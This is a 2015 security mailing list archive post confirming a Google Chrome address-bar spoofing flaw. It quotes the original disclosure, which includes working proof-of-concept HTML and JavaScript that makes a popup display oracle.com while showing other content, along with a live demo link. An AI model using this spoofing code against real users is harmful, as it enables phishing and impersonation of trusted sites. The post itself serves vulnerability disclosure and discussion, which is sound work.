Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 30 Jun 2015 16:42:24 +0000 (UTC)
From: Big Whale <d0lph1n98@...oo.com>
To: David Leo <david.leo@...sen.co.uk>, 
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>, 
	"fulldisclosure@...lists.org" <fulldisclosure@...lists.org>, 
	"oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Re: Google Chrome Address Spoofing (Request For Comment)

Tested on Google Chrome 43.0.2357.130 (64-bit) (Linux) and it works. I do not think it is some kind of DoS attack, it is clearly URL spoofing vulnerability. Perhaps, your report does not clarify the vulnerability precisely. 


     On Tuesday, June 30, 2015 8:24 PM, David Leo <david.leo@...sen.co.uk> wrote:
   

 Impact:
The "click to verify" thing is completely broken...
Anyone can be "BBB Accredited Business" etc.
You can make whitehouse.gov display "We love Islamic State" :-)

Note:
No user interaction on the fake page.

Code:
***** index.html
<script>
function next()
{
    w.location.replace('http://www.oracle.com/index.html?'+n);n++;
    setTimeout("next();",15);
    setTimeout("next();",25);
}
function f()
{
    w=window.open("content.html","_blank","width=500 height=500");
    i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
}
</script>
<a href="#" onclick="f()">Go</a><br>
***** content.html
<b>This web page is NOT oracle.com</b>
<script>location="http://www.oracle.com/index.html";</script>
***** It's online
http://www.deusen.co.uk/items/gwhere.6128645971389012/
(The page says "June/16/2015" - it works as we tested today)

Request For Comment:
We reported this to Google.
They reproduced, and say
It's DoS which doesn't matter.
We think it's very strange,
since the browser does not crash(not DoS),
and the threat is obvious.
What's your opinion?

Kind Regards,

PS
We love clever tricks.
We love this:
http://dieyu.org/



  

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.